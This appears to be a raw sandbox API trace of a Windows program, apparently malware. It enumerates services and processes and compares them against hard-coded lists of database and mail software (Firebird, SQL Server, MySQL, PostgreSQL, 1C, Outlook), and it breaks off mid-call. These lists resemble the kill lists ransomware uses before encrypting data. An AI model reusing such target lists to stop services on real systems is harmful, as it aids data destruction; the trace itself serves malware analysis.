lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0269.427] lstrlenW (lpString="lmhosts") returned 7 [0269.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0269.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0269.428] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0269.428] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0269.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0269.428] lstrlenW (lpString="MMCSS") returned 5 [0269.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0269.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0269.428] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0269.428] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0269.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0269.428] lstrlenW (lpString="MpsSvc") returned 6 [0269.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0269.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0269.429] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0269.429] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0269.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0269.429] lstrlenW (lpString="Netman") returned 6 [0269.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0269.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0269.429] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0269.429] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0269.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0269.429] lstrlenW (lpString="netprofm") returned 8 [0269.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0269.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0269.429] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0269.430] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0269.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0269.430] lstrlenW (lpString="NlaSvc") returned 6 [0269.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0269.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0269.430] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0269.430] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0269.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0269.430] lstrlenW (lpString="nsi") returned 3 [0269.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0269.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0269.430] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0269.431] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0269.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0269.431] lstrlenW (lpString="PcaSvc") returned 6 [0269.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0269.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0269.431] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0269.431] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0269.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0269.431] lstrlenW (lpString="PlugPlay") returned 8 [0269.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0269.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0269.432] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0269.432] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0269.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0269.432] lstrlenW (lpString="Power") returned 5 [0269.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0269.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0269.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0269.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0269.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0269.432] lstrlenW (lpString="ProfSvc") returned 7 [0269.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0269.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0269.433] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0269.433] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0269.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0269.433] lstrlenW (lpString="RpcEptMapper") returned 12 [0269.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.433] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0269.433] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0269.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0269.433] lstrlenW (lpString="RpcSs") returned 5 [0269.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0269.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0269.433] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0269.434] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0269.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0269.434] lstrlenW (lpString="SamSs") returned 5 [0269.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0269.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0269.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0269.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0269.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0269.434] lstrlenW (lpString="Schedule") returned 8 [0269.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0269.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0269.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0269.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0269.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0269.435] lstrlenW (lpString="SENS") returned 4 [0269.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0269.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0269.435] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0269.435] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0269.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0269.435] lstrlenW (lpString="ShellHWDetection") returned 16 [0269.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.436] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0269.436] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0269.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0269.437] lstrlenW (lpString="Spooler") returned 7 [0269.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0269.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0269.437] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0269.437] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0269.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0269.437] lstrlenW (lpString="SysMain") returned 7 [0269.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0269.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0269.437] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0269.437] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0269.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0269.437] lstrlenW (lpString="Themes") returned 6 [0269.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0269.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0269.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0269.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0269.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0269.438] lstrlenW (lpString="TrkWks") returned 6 [0269.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0269.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0269.438] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0269.438] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0269.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0269.438] lstrlenW (lpString="UxSms") returned 5 [0269.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0269.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0269.439] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0269.439] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0269.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0269.439] lstrlenW (lpString="WdiServiceHost") returned 14 [0269.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0269.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0269.439] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0269.439] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0269.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0269.439] lstrlenW (lpString="WdiSystemHost") returned 13 [0269.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0269.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0269.440] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0269.440] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0269.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0269.440] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0269.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0269.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0269.440] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0269.440] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0269.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0269.440] lstrlenW (lpString="Winmgmt") returned 7 [0269.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0269.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0269.441] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0269.441] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0269.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0269.441] lstrlenW (lpString="WPDBusEnum") returned 10 [0269.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0269.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0269.441] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0269.441] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0269.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0269.441] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41a2db8 | out: hHeap=0x880000) returned 1 [0269.442] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0269.446] Process32FirstW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.447] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.448] lstrlenW (lpString="System") returned 6 [0269.448] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0269.448] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0269.448] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0269.448] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0269.449] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0269.449] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0269.449] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0269.449] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.450] lstrlenW (lpString="smss.exe") returned 8 [0269.450] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0269.450] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0269.450] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0269.450] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0269.450] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0269.450] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0269.450] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0269.450] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.733] lstrlenW (lpString="csrss.exe") returned 9 [0269.734] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0269.734] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0269.734] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0269.734] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0269.734] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0269.734] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0269.734] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0269.734] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.736] lstrlenW (lpString="wininit.exe") returned 11 [0269.736] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0269.736] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0269.736] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0269.737] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0269.737] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0269.737] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0269.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0269.737] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.739] lstrlenW (lpString="csrss.exe") returned 9 [0269.739] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0269.739] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0269.739] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0269.739] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0269.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0269.740] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0269.740] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.741] lstrlenW (lpString="winlogon.exe") returned 12 [0269.741] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.743] lstrlenW (lpString="services.exe") returned 12 [0269.743] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.745] lstrlenW (lpString="lsass.exe") returned 9 [0269.745] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0269.747] lstrlenW (lpString="lsm.exe") returned 7 [0269.747] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.748] lstrlenW (lpString="svchost.exe") returned 11 [0269.749] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.750] lstrlenW (lpString="svchost.exe") returned 11 [0269.750] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.751] lstrlenW (lpString="svchost.exe") returned 11 [0269.751] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.752] lstrlenW (lpString="svchost.exe") returned 11 [0269.752] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.753] lstrlenW (lpString="svchost.exe") returned 11 [0269.753] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.755] lstrlenW (lpString="audiodg.exe") returned 11 [0269.755] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.756] lstrlenW (lpString="svchost.exe") returned 11 [0269.756] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.757] lstrlenW (lpString="explorer.exe") returned 12 [0269.757] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.758] lstrlenW (lpString="dwm.exe") returned 7 [0269.758] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.759] lstrlenW (lpString="svchost.exe") returned 11 [0269.759] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0269.761] lstrlenW (lpString="driver.exe") returned 10 [0269.761] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.762] lstrlenW (lpString="spoolsv.exe") returned 11 [0269.762] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0269.763] lstrlenW (lpString="taskhost.exe") returned 12 [0269.763] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.414] lstrlenW (lpString="svchost.exe") returned 11 [0270.415] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0270.416] lstrlenW (lpString="reader_sl.exe") returned 13 [0270.416] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0270.417] lstrlenW (lpString="taskhost.exe") returned 12 [0270.417] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0270.418] lstrlenW (lpString="dllhost.exe") returned 11 [0270.418] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0270.420] lstrlenW (lpString="consent.exe") returned 11 [0270.420] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0270.421] CloseHandle (hObject=0x390) returned 1 [0270.421] Sleep (dwMilliseconds=0x1f4) [0271.075] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8d32d8 [0271.076] EnumServicesStatusExW (in: hSCManager=0x8d32d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, 